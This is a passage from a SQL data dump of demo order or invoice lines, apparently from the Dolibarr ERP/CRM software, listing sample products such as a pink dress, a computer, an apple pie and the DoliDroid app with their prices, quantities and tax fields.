',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(49,17,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(50,17,NULL,3,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(51,18,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(52,18,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(53,18,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(54,19,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(55,19,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(56,19,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(57,19,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(58,19,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(59,20,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(60,20,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(61,20,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,10.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',10.00000000,20.00000000,0.00000000,20.00000000),(62,20,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(63,21,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,10.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',10.00000000,20.00000000,0.00000000,20.00000000),(64,21,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,9.00000000,9.00000000,0.00000000,0.00000000,0.00000000,9.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',9.00000000,9.00000000,0.00000000,9.00000000),(65,21,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,5.00000000,15.00000000,0.00000000,0.00000000,0.00000000,15.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',5.00000000,15.00000000,0.00000000,15.00000000),(66,21,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(67,22,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,10.00000000,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',10.00000000,50.00000000,0.00000000,50.00000000),(68,22,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,10.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',10.00000000,20.00000000,0.00000000,20.00000000),(69,23,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(70,23,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,5.00000000,15.00000000,0.00000000,0.00000000,0.00000000,15.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',5.00000000,15.00000000,0.00000000,15.00000000),(71,23,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(72,23,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(73,24,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,5.00000000,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',5.00000000,5.00000000,0.00000000,5.00000000),(74,24,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(75,24,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(76,24,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(77,25,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(78,25,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(79,25,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(80,25,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(81,25,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(82,26,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(83,26,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(84,26,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(85,26,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(86,26,NULL,3,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(87,27,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(88,27,NULL,3,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(89,28,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(90,28,NULL,5,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,10.00000000,30.00000000,0.00000000,0.00000000,0.00000000,30.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',10.00000000,30.00000000,0.00000000,30.00000000),(91,28,NULL,2,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(92,28,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(93,29,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(94,29,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(95,29,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(96,30,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(97,30,NULL,1,NULL,'A beatifull pink dress',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(98,30,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(99,30,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(100,31,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,5.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',5.00000000,20.00000000,0.00000000,20.00000000),(101,31,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(102,31,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(103,31,NULL,3,NULL,'',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(104,32,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(105,32,NULL,10,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(106,32,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(107,32,NULL,13,NULL,'A powerfull computer XP4523 ',NULL,0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(108,32,NULL,12,NULL,'Cloud hosting of Dolibarr ERP and CRM software',NULL,0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(109,10,NULL,NULL,NULL,'fdfd',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,'',10.00000000,10.00000000,0.00000000,10.00000000),(110,33,NULL,3,NULL,'aaa',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,1,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(111,34,NULL,NULL,NULL,'fd',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,1,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(114,22,NULL,11,NULL,'A nice rollup',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(115,35,NULL,11,NULL,'A nice rollup',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,12.00000000,0,1,NULL,1,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(116,35,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,5.00000000,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,10.00000000,0,2,NULL,1,'EUR',5.00000000,5.00000000,0.00000000,5.00000000),(119,36,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,4.000,'',0.000,'0',0.000,'0',1,0,0,6,6.00000000,6.00000000,0.24000000,0.00000000,0.00000000,6.24000000,0,NULL,NULL,0,NULL,10.00000000,0,1,NULL,1,'EUR',6.00000000,6.00000000,0.24000000,6.24000000),(120,37,NULL,4,NULL,'Nice Bio Apple Pie.
\r\n ',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,10.00000000,0,1,NULL,1,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(121,36,NULL,NULL,NULL,'aaa',NULL,0.000,'',0.000,'0',0.000,'0',1,0,0,-2,-2.00000000,-2.00000000,0.00000000,0.00000000,0.00000000,-2.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,1,'EUR',-2.00000000,-2.00000000,0.00000000,-2.00000000),(122,22,NULL,NULL,NULL,'1',NULL,5.500,'',0.000,'0',0.000,'0',1,0,0,NULL,1.00000000,1.00000000,0.06000000,0.00000000,0.00000000,1.06000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,'EUR',1.00000000,1.00000000,0.06000000,1.06000000),(123,22,NULL,NULL,NULL,'aaa',NULL,5.500,'',0.000,'0',0.000,'0',1,0,0,NULL,1.00000000,1.00000000,0.06000000,0.00000000,0.00000000,1.06000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,'EUR',1.00000000,1.00000000,0.06000000,1.06000000),(124,22,NULL,NULL,NULL,'aaa',NULL,5.500,'aaa',0.000,'0',0.000,'0',1,0,0,0,1.00000000,1.00000000,0.06000000,0.00000000,0.00000000,1.06000000,0,NULL,NULL,0,NULL,0.00000000,0,6,NULL,NULL,'EUR',1.00000000,1.00000000,0.06000000,1.06000000),(125,22,NULL,NULL,NULL,'a',NULL,5.500,'aaa',0.000,'0',0.000,'0',1,0,0,0,1.00000000,1.00000000,0.06000000,0.00000000,0.00000000,1.06000000,0,NULL,NULL,0,NULL,0.00000000,0,7,NULL,N